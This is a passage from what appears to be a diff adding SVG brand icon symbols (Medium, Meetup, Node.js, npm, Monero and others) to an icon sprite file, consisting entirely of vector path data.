64c21.2 0 21.2-32 0-32h-88c-21.2 0-21.2 32 0 32h88zm34.2-141.5c3.2-18.9 5.2-36.4 11.9-48.8 7.9-14.7 16.1-28.1 24-41 24.6-40.4 45.9-75.2 45.9-125.5C320 69.6 248.2 0 160 0S0 69.6 0 155.2c0 50.2 21.3 85.1 45.9 125.5 7.9 12.9 16 26.3 24 41 6.7 12.5 8.7 29.8 11.9 48.9 3.5 21 36.1 15.7 32.6-5.1-3.6-21.7-5.6-40.7-15.3-58.6C66.5 246.5 33 211.3 33 155.2 33 87.3 90 32 160 32s127 55.3 127 123.2c0 56.1-33.5 91.3-66.1 151.6-9.7 18-11.7 37.4-15.3 58.6-3.4 20.6 29 26.4 32.6 5.1z"></path> + </symbol> + <symbol id="medium" viewBox="0 0 448 512"> + <path d="M0 32v448h448V32H0zm372.2 106.1l-24 23c-2.1 1.6-3.1 4.2-2.7 6.7v169.3c-.4 2.6.6 5.2 2.7 6.7l23.5 23v5.1h-118V367l24.3-23.6c2.4-2.4 2.4-3.1 2.4-6.7V199.8l-67.6 171.6h-9.1L125 199.8v115c-.7 4.8 1 9.7 4.4 13.2l31.6 38.3v5.1H71.2v-5.1l31.6-38.3c3.4-3.5 4.9-8.4 4.1-13.2v-133c.4-3.7-1-7.3-3.8-9.8L75 138.1V133h87.3l67.4 148L289 133.1h83.2v5z"></path> + </symbol> + <symbol id="medium-m" viewBox="0 0 512 512"> + <path d="M71.5 142.3c.6-5.9-1.7-11.8-6.1-15.8L20.3 72.1V64h140.2l108.4 237.7L364.2 64h133.7v8.1l-38.6 37c-3.3 2.5-5 6.7-4.3 10.8v272c-.7 4.1 1 8.3 4.3 10.8l37.7 37v8.1H307.3v-8.1l39.1-37.9c3.8-3.8 3.8-5 3.8-10.8V171.2L241.5 447.1h-14.7L100.4 171.2v184.9c-1.1 7.8 1.5 15.6 7 21.2l50.8 61.6v8.1h-144v-8L65 377.3c5.4-5.6 7.9-13.5 6.5-21.2V142.3z"></path> + </symbol> + <symbol id="medrt" viewBox="0 0 544 512"> + <path d="M113.7 256c0 121.8 83.9 222.8 193.5 241.1-18.7 4.5-38.2 6.9-58.2 6.9C111.4 504 0 393 0 256S111.4 8 248.9 8c20.1 0 39.6 2.4 58.2 6.9C197.5 33.2 113.7 134.2 113.7 256m297.4 100.3c-77.7 55.4-179.6 47.5-240.4-14.6 5.5 14.1 12.7 27.7 21.7 40.5 61.6 88.2 182.4 109.3 269.7 47 87.3-62.3 108.1-184.3 46.5-272.6-9-12.9-19.3-24.3-30.5-34.2 37.4 78.8 10.7 178.5-67 233.9m-218.8-244c-1.4 1-2.7 2.1-4 3.1 64.3-17.8 135.9 4 178.9 60.5 35.7 47 42.9 106.6 24.4 158 56.7-56.2 67.6-142.1 22.3-201.8-50-65.5-149.1-74.4-221.6-19.8M296 224c-4.4 0-8-3.6-8-8v-40c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v40c0 4.4-3.6 8-8 8h-40c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h40c4.4 0 8 3.6 8 8v40c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-40c0-4.4 3.6-8 8-8h40c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8h-40z"></path> + </symbol> + <symbol id="meetup" viewBox="0 0 512 512"> + <path d="M99 414.3c1.1 5.7-2.3 11.1-8 12.3-5.4 1.1-10.9-2.3-12-8-1.1-5.4 2.3-11.1 7.7-12.3 5.4-1.2 11.1 2.3 12.3 8zm143.1 71.4c-6.3 4.6-8 13.4-3.7 20 4.6 6.6 13.4 8.3 20 3.7 6.3-4.6 8-13.4 3.4-20-4.2-6.5-13.1-8.3-19.7-3.7zm-86-462.3c6.3-1.4 10.3-7.7 8.9-14-1.1-6.6-7.4-10.6-13.7-9.1-6.3 1.4-10.3 7.7-9.1 14 1.4 6.6 7.6 10.6 13.9 9.1zM34.4 226.3c-10-6.9-23.7-4.3-30.6 6-6.9 10-4.3 24 5.7 30.9 10 7.1 23.7 4.6 30.6-5.7 6.9-10.4 4.3-24.1-5.7-31.2zm272-170.9c10.6-6.3 13.7-20 7.7-30.3-6.3-10.6-19.7-14-30-7.7s-13.7 20-7.4 30.6c6 10.3 19.4 13.7 29.7 7.4zm-191.1 58c7.7-5.4 9.4-16 4.3-23.7s-15.7-9.4-23.1-4.3c-7.7 5.4-9.4 16-4.3 23.7 5.1 7.8 15.6 9.5 23.1 4.3zm372.3 156c-7.4 1.7-12.3 9.1-10.6 16.9 1.4 7.4 8.9 12.3 16.3 10.6 7.4-1.4 12.3-8.9 10.6-16.6-1.5-7.4-8.9-12.3-16.3-10.9zm39.7-56.8c-1.1-5.7-6.6-9.1-12-8-5.7 1.1-9.1 6.9-8 12.6 1.1 5.4 6.6 9.1 12.3 8 5.4-1.5 9.1-6.9 7.7-12.6zM447 138.9c-8.6 6-10.6 17.7-4.9 26.3 5.7 8.6 17.4 10.6 26 4.9 8.3-6 10.3-17.7 4.6-26.3-5.7-8.7-17.4-10.9-25.7-4.9zm-6.3 139.4c26.3 43.1 15.1 100-26.3 129.1-17.4 12.3-37.1 17.7-56.9 17.1-12 47.1-69.4 64.6-105.1 32.6-1.1.9-2.6 1.7-3.7 2.9-39.1 27.1-92.3 17.4-119.4-22.3-9.7-14.3-14.6-30.6-15.1-46.9-65.4-10.9-90-94-41.1-139.7-28.3-46.9.6-107.4 53.4-114.9C151.6 70 234.1 38.6 290.1 82c67.4-22.3 136.3 29.4 130.9 101.1 41.1 12.6 52.8 66.9 19.7 95.2zm-70 74.3c-3.1-20.6-40.9-4.6-43.1-27.1-3.1-32 43.7-101.1 40-128-3.4-24-19.4-29.1-33.4-29.4-13.4-.3-16.9 2-21.4 4.6-2.9 1.7-6.6 4.9-11.7-.3-6.3-6-11.1-11.7-19.4-12.9-12.3-2-17.7 2-26.6 9.7-3.4 2.9-12 12.9-20 9.1-3.4-1.7-15.4-7.7-24-11.4-16.3-7.1-40 4.6-48.6 20-12.9 22.9-38 113.1-41.7 125.1-8.6 26.6 10.9 48.6 36.9 47.1 11.1-.6 18.3-4.6 25.4-17.4 4-7.4 41.7-107.7 44.6-112.6 2-3.4 8.9-8 14.6-5.1 5.7 3.1 6.9 9.4 6 15.1-1.1 9.7-28 70.9-28.9 77.7-3.4 22.9 26.9 26.6 38.6 4 3.7-7.1 45.7-92.6 49.4-98.3 4.3-6.3 7.4-8.3 11.7-8 3.1 0 8.3.9 7.1 10.9-1.4 9.4-35.1 72.3-38.9 87.7-4.6 20.6 6.6 41.4 24.9 50.6 11.4 5.7 62.5 15.7 58.5-11.1zm5.7 92.3c-10.3 7.4-12.9 22-5.7 32.6 7.1 10.6 21.4 13.1 32 6 10.6-7.4 13.1-22 6-32.6-7.4-10.6-21.7-13.5-32.3-6z"></path> + </symbol> + <symbol id="megaport" viewBox="0 0 496 512"> + <path d="M214.5 209.6v66.2l33.5 33.5 33.3-33.3v-66.4l-33.4-33.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm145.1 414.4L367 441.6l-26-19.2v-65.5l-33.4-33.4-33.4 33.4v65.5L248 441.6l-26.1-19.2v-65.5l-33.4-33.4-33.5 33.4v65.5l-26.1 19.2-26.1-19.2v-87l59.5-59.5V188l59.5-59.5V52.9l26.1-19.2L274 52.9v75.6l59.5 59.5v87.6l59.7 59.7v87.1z"></path> + </symbol> + <symbol id="mendeley" viewBox="0 0 640 512"> + <path d="M624.6 325.2c-12.3-12.4-29.7-19.2-48.4-17.2-43.3-1-49.7-34.9-37.5-98.8 22.8-57.5-14.9-131.5-87.4-130.8-77.4.7-81.7 82-130.9 82-48.1 0-54-81.3-130.9-82-72.9-.8-110.1 73.3-87.4 130.8 12.2 63.9 5.8 97.8-37.5 98.8-21.2-2.3-37 6.5-53 22.5-19.9 19.7-19.3 94.8 42.6 102.6 47.1 5.9 81.6-42.9 61.2-87.8-47.3-103.7 185.9-106.1 146.5-8.2-.1.1-.2.2-.3.4-26.8 42.8 6.8 97.4 58.8 95.2 52.1 2.1 85.4-52.6 58.8-95.2-.1-.2-.2-.3-.3-.4-39.4-97.9 193.8-95.5 146.5 8.2-4.6 10-6.7 21.3-5.7 33 4.9 53.4 68.7 74.1 104.9 35.2 17.8-14.8 23.1-65.6 0-88.3zm-303.9-19.1h-.6c-43.4 0-62.8-37.5-62.8-62.8 0-34.7 28.2-62.8 62.8-62.8h.6c34.7 0 62.8 28.1 62.8 62.8 0 25-19.2 62.8-62.8 62.8z"></path> + </symbol> + <symbol id="microblog" viewBox="0 0 448 512"> + <path d="M399.36,362.23c29.49-34.69,47.1-78.34,47.1-125.79C446.46,123.49,346.86,32,224,32S1.54,123.49,1.54,236.44,101.14,440.87,224,440.87a239.28,239.28,0,0,0,79.44-13.44,7.18,7.18,0,0,1,8.12,2.56c18.58,25.09,47.61,42.74,79.89,49.92a4.42,4.42,0,0,0,5.22-3.43,4.37,4.37,0,0,0-.85-3.62,87,87,0,0,1,3.69-110.69ZM329.52,212.4l-57.3,43.49L293,324.75a6.5,6.5,0,0,1-9.94,7.22L224,290.92,164.94,332a6.51,6.51,0,0,1-9.95-7.22l20.79-68.86-57.3-43.49a6.5,6.5,0,0,1,3.8-11.68l71.88-1.51,23.66-67.92a6.5,6.5,0,0,1,12.28,0l23.66,67.92,71.88,1.51a6.5,6.5,0,0,1,3.88,11.68Z"></path> + </symbol> + <symbol id="microsoft" viewBox="0 0 448 512"> + <path d="M0 32h214.6v214.6H0V32zm233.4 0H448v214.6H233.4V32zM0 265.4h214.6V480H0V265.4zm233.4 0H448V480H233.4V265.4z"></path> + </symbol> + <symbol id="mix" viewBox="0 0 448 512"> + <path d="M0 64v348.9c0 56.2 88 58.1 88 0V174.3c7.9-52.9 88-50.4 88 6.5v175.3c0 57.9 96 58 96 0V240c5.3-54.7 88-52.5 88 4.3v23.8c0 59.9 88 56.6 88 0V64H0z"></path> + </symbol> + <symbol id="mixcloud" viewBox="0 0 640 512"> + <path d="M424.43 219.729C416.124 134.727 344.135 68 256.919 68c-72.266 0-136.224 46.516-159.205 114.074-54.545 8.029-96.63 54.822-96.63 111.582 0 62.298 50.668 112.966 113.243 112.966h289.614c52.329 0 94.969-42.362 94.969-94.693 0-45.131-32.118-83.063-74.48-92.2zm-20.489 144.53H114.327c-39.04 0-70.881-31.564-70.881-70.604s31.841-70.604 70.881-70.604c18.827 0 36.548 7.475 49.838 20.766 19.963 19.963 50.133-10.227 30.18-30.18-14.675-14.398-32.672-24.365-52.053-29.349 19.935-44.3 64.79-73.926 114.628-73.926 69.496 0 125.979 56.483 125.979 125.702 0 13.568-2.215 26.857-6.369 39.594-8.943 27.517 32.133 38.939 40.147 13.29 2.769-8.306 4.984-16.889 6.369-25.472 19.381 7.476 33.502 26.303 33.502 48.453 0 28.795-23.535 52.33-52.607 52.33zm235.069-52.33c0 44.024-12.737 86.386-37.102 122.657-4.153 6.092-10.798 9.414-17.72 9.414-16.317 0-27.127-18.826-17.443-32.949 19.381-29.349 29.903-63.682 29.903-99.122s-10.521-69.773-29.903-98.845c-15.655-22.831 19.361-47.24 35.163-23.534 24.366 35.993 37.102 78.356 37.102 122.379zm-70.88 0c0 31.565-9.137 62.021-26.857 88.325-4.153 6.091-10.798 9.136-17.72 9.136-17.201 0-27.022-18.979-17.443-32.948 13.013-19.104 19.658-41.255 19.658-64.513 0-22.981-6.645-45.408-19.658-64.512-15.761-22.986 19.008-47.095 35.163-23.535 17.719 26.026 26.857 56.483 26.857 88.047z"></path> + </symbol> + <symbol id="mixer" viewBox="0 0 512 512"> + <path d="M114.57,76.07a45.71,45.71,0,0,0-67.51-6.41c-17.58,16.18-19,43.52-4.75,62.77l91.78,123L41.76,379.58c-14.23,19.25-13.11,46.59,4.74,62.77A45.71,45.71,0,0,0,114,435.94L242.89,262.7a12.14,12.14,0,0,0,0-14.23ZM470.24,379.58,377.91,255.45l91.78-123c14.22-19.25,12.83-46.59-4.75-62.77a45.71,45.71,0,0,0-67.51,6.41l-128,172.12a12.14,12.14,0,0,0,0,14.23L398,435.94a45.71,45.71,0,0,0,67.51,6.41C483.35,426.17,484.47,398.83,470.24,379.58Z"></path> + </symbol> + <symbol id="mizuni" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm-80 351.9c-31.4 10.6-58.8 27.3-80 48.2V136c0-22.1 17.9-40 40-40s40 17.9 40 40v223.9zm120-9.9c-12.9-2-26.2-3.1-39.8-3.1-13.8 0-27.2 1.1-40.2 3.1V136c0-22.1 17.9-40 40-40s40 17.9 40 40v214zm120 57.7c-21.2-20.8-48.6-37.4-80-48V136c0-22.1 17.9-40 40-40s40 17.9 40 40v271.7z"></path> + </symbol> + <symbol id="modx" viewBox="0 0 448 512"> + <path d="M356 241.8l36.7 23.7V480l-133-83.8L356 241.8zM440 75H226.3l-23 37.8 153.5 96.5L440 75zm-89 142.8L55.2 32v214.5l46 29L351 217.8zM97 294.2L8 437h213.7l125-200.5L97 294.2z"></path> + </symbol> + <symbol id="monero" viewBox="0 0 496 512"> + <path d="M352 384h108.4C417 455.9 338.1 504 248 504S79 455.9 35.6 384H144V256.2L248 361l104-105v128zM88 336V128l159.4 159.4L408 128v208h74.8c8.5-25.1 13.2-52 13.2-80C496 119 385 8 248 8S0 119 0 256c0 28 4.6 54.9 13.2 80H88z"></path> + </symbol> + <symbol id="napster" viewBox="0 0 496 512"> + <path d="M298.3 373.6c-14.2 13.6-31.3 24.1-50.4 30.5-19-6.4-36.2-16.9-50.3-30.5h100.7zm44-199.6c20-16.9 43.6-29.2 69.6-36.2V299c0 219.4-328 217.6-328 .3V137.7c25.9 6.9 49.6 19.6 69.5 36.4 56.8-40 132.5-39.9 188.9-.1zm-208.8-58.5c64.4-60 164.3-60.1 228.9-.2-7.1 3.5-13.9 7.3-20.6 11.5-58.7-30.5-129.2-30.4-187.9.1-6.3-4-13.9-8.2-20.4-11.4zM43.8 93.2v69.3c-58.4 36.5-58.4 121.1.1 158.3 26.4 245.1 381.7 240.3 407.6 1.5l.3-1.7c58.7-36.3 58.9-121.7.2-158.2V93.2c-17.3.5-34 3-50.1 7.4-82-91.5-225.5-91.5-307.5.1-16.3-4.4-33.1-7-50.6-7.5zM259.2 352s36-.3 61.3-1.5c10.2-.5 21.1-4 25.5-6.5 26.3-15.1 25.4-39.2 26.2-47.4-79.5-.6-99.9-3.9-113 55.4zm-135.5-55.3c.8 8.2-.1 32.3 26.2 47.4 4.4 2.5 15.2 6 25.5 6.5 25.3 1.1 61.3 1.5 61.3 1.5-13.2-59.4-33.7-56.1-113-55.4zm169.1 123.4c-3.2-5.3-6.9-7.3-6.9-7.3-24.8 7.3-52.2 6.9-75.9 0 0 0-2.9 1.5-6.4 6.6-2.8 4.1-3.7 9.6-3.7 9.6 29.1 17.6 67.1 17.6 96.2 0-.1-.1-.3-4-3.3-8.9z"></path> + </symbol> + <symbol id="neos" viewBox="0 0 512 512"> + <path d="M415.44 512h-95.11L212.12 357.46v91.1L125.69 512H28V29.82L68.47 0h108.05l123.74 176.13V63.45L386.69 0h97.69v461.5zM38.77 35.27V496l72-52.88V194l215.5 307.64h84.79l52.35-38.17h-78.27L69 13zm82.54 466.61l80-58.78v-101l-79.76-114.4v220.94L49 501.89h72.34zM80.63 10.77l310.6 442.57h82.37V10.77h-79.75v317.56L170.91 10.77zM311 191.65l72 102.81V15.93l-72 53v122.72z"></path> + </symbol> + <symbol id="nimblr" viewBox="0 0 384 512"> + <path d="M246.6 299.29c15.57 0 27.15 11.46 27.15 27s-11.62 27-27.15 27c-15.7 0-27.15-11.57-27.15-27s11.55-27 27.15-27zM113 326.25c0-15.61 11.68-27 27.15-27s27.15 11.46 27.15 27-11.47 27-27.15 27c-15.44 0-27.15-11.31-27.15-27M191.76 159C157 159 89.45 178.77 59.25 227L14 0v335.48C14 433.13 93.61 512 191.76 512s177.76-78.95 177.76-176.52S290.13 159 191.76 159zm0 308.12c-73.27 0-132.51-58.9-132.51-131.59s59.24-131.59 132.51-131.59 132.51 58.86 132.51 131.54S265 467.07 191.76 467.07z"></path> + </symbol> + <symbol id="node" viewBox="0 0 640 512"> + <path d="M316.3 452c-2.1 0-4.2-.6-6.1-1.6L291 439c-2.9-1.6-1.5-2.2-.5-2.5 3.8-1.3 4.6-1.6 8.7-4 .4-.2 1-.1 1.4.1l14.8 8.8c.5.3 1.3.3 1.8 0L375 408c.5-.3.9-.9.9-1.6v-66.7c0-.7-.3-1.3-.9-1.6l-57.8-33.3c-.5-.3-1.2-.3-1.8 0l-57.8 33.3c-.6.3-.9 1-.9 1.6v66.7c0 .6.4 1.2.9 1.5l15.8 9.1c8.6 4.3 13.9-.8 13.9-5.8v-65.9c0-.9.7-1.7 1.7-1.7h7.3c.9 0 1.7.7 1.7 1.7v65.9c0 11.5-6.2 18-17.1 18-3.3 0-6 0-13.3-3.6l-15.2-8.7c-3.7-2.2-6.1-6.2-6.1-10.5v-66.7c0-4.3 2.3-8.4 6.1-10.5l57.8-33.4c3.7-2.1 8.5-2.1 12.1 0l57.8 33.4c3.7 2.2 6.1 6.2 6.1 10.5v66.7c0 4.3-2.3 8.4-6.1 10.5l-57.8 33.4c-1.7 1.1-3.8 1.7-6 1.7zm46.7-65.8c0-12.5-8.4-15.8-26.2-18.2-18-2.4-19.8-3.6-19.8-7.8 0-3.5 1.5-8.1 14.8-8.1 11.9 0 16.3 2.6 18.1 10.6.2.8.8 1.3 1.6 1.3h7.5c.5 0 .9-.2 1.2-.5.3-.4.5-.8.4-1.3-1.2-13.8-10.3-20.2-28.8-20.2-16.5 0-26.3 7-26.3 18.6 0 12.7 9.8 16.1 25.6 17.7 18.9 1.9 20.4 4.6 20.4 8.3 0 6.5-5.2 9.2-17.4 9.2-15.3 0-18.7-3.8-19.8-11.4-.1-.8-.8-1.4-1.7-1.4h-7.5c-.9 0-1.7.7-1.7 1.7 0 9.7 5.3 21.3 30.6 21.3 18.5 0 29-7.2 29-19.8zm54.5-50.1c0 6.1-5 11.1-11.1 11.1s-11.1-5-11.1-11.1c0-6.3 5.2-11.1 11.1-11.1 6-.1 11.1 4.8 11.1 11.1zm-1.8 0c0-5.2-4.2-9.3-9.4-9.3-5.1 0-9.3 4.1-9.3 9.3 0 5.2 4.2 9.4 9.3 9.4 5.2-.1 9.4-4.3 9.4-9.4zm-4.5 6.2h-2.6c-.1-.6-.5-3.8-.5-3.9-.2-.7-.4-1.1-1.3-1.1h-2.2v5h-2.4v-12.5h4.3c1.5 0 4.4 0 4.4 3.3 0 2.3-1.5 2.8-2.4 3.1 1.7.1 1.8 1.2 2.1 2.8.1 1 .3 2.7.6 3.3zm-2.8-8.8c0-1.7-1.2-1.7-1.8-1.7h-2v3.5h1.9c1.6 0 1.9-1.1 1.9-1.8zM137.3 191c0-2.7-1.4-5.1-3.7-6.4l-61.3-35.3c-1-.6-2.2-.9-3.4-1h-.6c-1.2 0-2.3.4-3.4 1L3.7 184.6C1.4 185.9 0 188.4 0 191l.1 95c0 1.3.7 2.5 1.8 3.2 1.1.7 2.5.7 3.7 0L42 268.3c2.3-1.4 3.7-3.8 3.7-6.4v-44.4c0-2.6 1.4-5.1 3.7-6.4l15.5-8.9c1.2-.7 2.4-1 3.7-1 1.3 0 2.6.3 3.7 1l15.5 8.9c2.3 1.3 3.7 3.8 3.7 6.4v44.4c0 2.6 1.4 5.1 3.7 6.4l36.4 20.9c1.1.7 2.6.7 3.7 0 1.1-.6 1.8-1.9 1.8-3.2l.2-95zM472.5 87.3v176.4c0 2.6-1.4 5.1-3.7 6.4l-61.3 35.4c-2.3 1.3-5.1 1.3-7.4 0l-61.3-35.4c-2.3-1.3-3.7-3.8-3.7-6.4v-70.8c0-2.6 1.4-5.1 3.7-6.4l61.3-35.4c2.3-1.3 5.1-1.3 7.4 0l15.3 8.8c1.7 1 3.9-.3 3.9-2.2v-94c0-2.8 3-4.6 5.5-3.2l36.5 20.4c2.3 1.2 3.8 3.7 3.8 6.4zm-46 128.9c0-.7-.4-1.3-.9-1.6l-21-12.2c-.6-.3-1.3-.3-1.9 0l-21 12.2c-.6.3-.9.9-.9 1.6v24.3c0 .7.4 1.3.9 1.6l21 12.1c.6.3 1.3.3 1.8 0l21-12.1c.6-.3.9-.9.9-1.6v-24.3zm209.8-.7c2.3-1.3 3.7-3.8 3.7-6.4V192c0-2.6-1.4-5.1-3.7-6.4l-60.9-35.4c-2.3-1.3-5.1-1.3-7.4 0l-61.3 35.4c-2.3 1.3-3.7 3.8-3.7 6.4v70.8c0 2.7 1.4 5.1 3.7 6.4l60.9 34.7c2.2 1.3 5 1.3 7.3 0l36.8-20.5c2.5-1.4 2.5-5 0-6.4L550 241.6c-1.2-.7-1.9-1.9-1.9-3.2v-22.2c0-1.3.7-2.5 1.9-3.2l19.2-11.1c1.1-.7 2.6-.7 3.7 0l19.2 11.1c1.1.7 1.9 1.9 1.9 3.2v17.4c0 2.8 3.1 4.6 5.6 3.2l36.7-21.3zM559 219c-.4.3-.7.7-.7 1.2v13.6c0 .5.3 1 .7 1.2l11.8 6.8c.4.3 1 .3 1.4 0L584 235c.4-.3.7-.7.7-1.2v-13.6c0-.5-.3-1-.7-1.2l-11.8-6.8c-.4-.3-1-.3-1.4 0L559 219zm-254.2 43.5v-70.4c0-2.6-1.6-5.1-3.9-6.4l-61.1-35.2c-2.1-1.2-5-1.4-7.4 0l-61.1 35.2c-2.3 1.3-3.9 3.7-3.9 6.4v70.4c0 2.8 1.9 5.2 4 6.4l61.2 35.2c2.4 1.4 5.2 1.3 7.4 0l61-35.2c1.8-1 3.1-2.7 3.6-4.7.1-.5.2-1.1.2-1.7zm-74.3-124.9l-.8.5h1.1l-.3-.5zm76.2 130.2l-.4-.7v.9l.4-.2z"></path> + </symbol> + <symbol id="node-js" viewBox="0 0 448 512"> + <path d="M224 508c-6.7 0-13.5-1.8-19.4-5.2l-61.7-36.5c-9.2-5.2-4.7-7-1.7-8 12.3-4.3 14.8-5.2 27.9-12.7 1.4-.8 3.2-.5 4.6.4l47.4 28.1c1.7 1 4.1 1 5.7 0l184.7-106.6c1.7-1 2.8-3 2.8-5V149.3c0-2.1-1.1-4-2.9-5.1L226.8 37.7c-1.7-1-4-1-5.7 0L36.6 144.3c-1.8 1-2.9 3-2.9 5.1v213.1c0 2 1.1 4 2.9 4.9l50.6 29.2c27.5 13.7 44.3-2.4 44.3-18.7V167.5c0-3 2.4-5.3 5.4-5.3h23.4c2.9 0 5.4 2.3 5.4 5.3V378c0 36.6-20 57.6-54.7 57.6-10.7 0-19.1 0-42.5-11.6l-48.4-27.9C8.1 389.2.7 376.3.7 362.4V149.3c0-13.8 7.4-26.8 19.4-33.7L204.6 9c11.7-6.6 27.2-6.6 38.8 0l184.7 106.7c12 6.9 19.4 19.8 19.4 33.7v213.1c0 13.8-7.4 26.7-19.4 33.7L243.4 502.8c-5.9 3.4-12.6 5.2-19.4 5.2zm149.1-210.1c0-39.9-27-50.5-83.7-58-57.4-7.6-63.2-11.5-63.2-24.9 0-11.1 4.9-25.9 47.4-25.9 37.9 0 51.9 8.2 57.7 33.8.5 2.4 2.7 4.2 5.2 4.2h24c1.5 0 2.9-.6 3.9-1.7s1.5-2.6 1.4-4.1c-3.7-44.1-33-64.6-92.2-64.6-52.7 0-84.1 22.2-84.1 59.5 0 40.4 31.3 51.6 81.8 56.6 60.5 5.9 65.2 14.8 65.2 26.7 0 20.6-16.6 29.4-55.5 29.4-48.9 0-59.6-12.3-63.2-36.6-.4-2.6-2.6-4.5-5.3-4.5h-23.9c-3 0-5.3 2.4-5.3 5.3 0 31.1 16.9 68.2 97.8 68.2 58.4-.1 92-23.2 92-63.4z"></path> + </symbol> + <symbol id="npm" viewBox="0 0 576 512"> + <path d="M288 288h-32v-64h32v64zm288-128v192H288v32H160v-32H0V160h576zm-416 32H32v128h64v-96h32v96h32V192zm160 0H192v160h64v-32h64V192zm224 0H352v128h64v-96h32v96h32v-96h32v96h32V192z"></path> + </symbol> + <symbol id="ns8" viewBox="0 0 640 512"> + <path d="M104.324,269.172h26.067V242.994H104.324Zm52.466-26.178-.055-26.178v-.941a39.325,39.325,0,0,0-78.644.941v.166h26.4v-.166a12.98,12.98,0,0,1,25.956,0v26.178Zm52.356,25.846a91.1,91.1,0,0,1-91.1,91.1h-.609a91.1,91.1,0,0,1-91.1-91.1H0v.166A117.33,117.33,0,0,0,117.44,386.28h.775A117.331,117.331,0,0,0,235.49,268.84V242.828H209.146Zm-157.233,0a65.362,65.362,0,0,0,130.723,0H156.292a39.023,39.023,0,0,1-78.035,0V242.883H51.968v-26.62A65.42,65.42,0,0,1,182.8,217.48v25.293h26.344V217.48a91.761,91.761,0,0,0-183.522,0v25.4H51.913Zm418.4-71.173c13.67,0,24.573,6.642,30.052,18.264l.719,1.549,23.245-11.511-.609-1.439c-8.025-19.26-28.5-31.27-53.407-31.27-23.134,0-43.611,11.4-50.972,28.447-.123,26.876-.158,23.9,0,24.85,4.7,11.013,14.555,19.37,28.668,24.241a102.033,102.033,0,0,0,19.813,3.984c5.479.72,10.626,1.384,15.829,3.1,6.364,2.1,10.46,5.257,12.84,9.851v9.851c-3.708,7.527-13.781,12.342-25.791,12.342-14.334,0-25.956-6.918-31.933-19.039l-.72-1.494L415.026,280.9l.553,1.439c7.915,19.426,29.609,32.044,55.289,32.044,23.632,0,44.608-11.4,52.3-28.447l.166-25.9-.166-.664c-4.87-11.014-15.219-19.647-28.944-24.241-7.693-2.712-14.335-3.6-20.7-4.427a83.777,83.777,0,0,1-14.832-2.878c-6.31-1.937-10.4-5.092-12.619-9.63v-8.412C449.45,202.427,458.969,197.667,470.315,197.667ZM287.568,311.344h26.067v-68.4H287.568Zm352.266-53.3c-2.933-6.254-8.3-12.01-15.441-16.714A37.99,37.99,0,0,0,637.4,226l.166-25.347-.166-.664C630.038,184,610.667,173.26,589.25,173.26S548.461,184,541.1,199.992l-.166,25.347.166.664a39.643,39.643,0,0,0,13.006,15.331c-7.2,4.7-12.508,10.46-15.441,16.714l-.166,28.889.166.72c7.582,15.994,27.893,26.731,50.585,26.731s43.057-10.737,50.584-26.731l.166-28.89Zm-73.22-50.806c3.6-6.31,12.563-10.516,22.58-10.516s19.038,4.206,22.636,10.516v13.725c-3.542,6.2-12.563,10.349-22.636,10.349s-19.094-4.15-22.58-10.349Zm47.319,72.169c-3.764,6.641-13.338,10.9-24.683,10.9-11.125,0-20.976-4.372-24.684-10.9V263.25c3.708-6.309,13.5-10.515,24.684-10.515,11.345,0,20.919,4.15,24.683,10.515ZM376.4,265.962l-59.827-89.713h-29v40.623h26.51v.387l62.539,94.085H402.3V176.249H376.4Z"></path> + </symbol> + <symbol id="nutritionix" viewBox="0 0 400 512"> + <path d="M88 8.1S221.4-.1 209 112.5c0 0 19.1-74.9 103-40.6 0 0-17.7 74-88 56 0 0 14.6-54.6 66.1-56.6 0 0-39.9-10.3-82.1 48.8 0 0-19.8-94.5-93.6-99.7 0 0 75.2 19.4 77.6 107.5 0 .1-106.4 7-104-119.8zm312 315.6c0 48.5-9.7 95.3-32 132.3-42.2 30.9-105 48-168 48-62.9 0-125.8-17.1-168-48C9.7 419 0 372.2 0 323.7 0 275.3 17.7 229 40 192c42.2-30.9 97.1-48.6 160-48.6 63 0 117.8 17.6 160 48.6 22.3 37 40 83.3 40 131.7zM120 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM192 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM264 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM336 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm24-39.6c-4.8-22.3-7.4-36.9-16-56-38.8-19.9-90.5-32-144-32S94.8 180.1 56 200c-8.8 19.5-11.2 33.9-16 56 42.2-7.9 98.7-14.8 160-14.8s117.8 6.9 160 14.8z"></path> + </symbol> + <symbol id="octopus-deploy" viewBox="0 0 512 512"> + <path 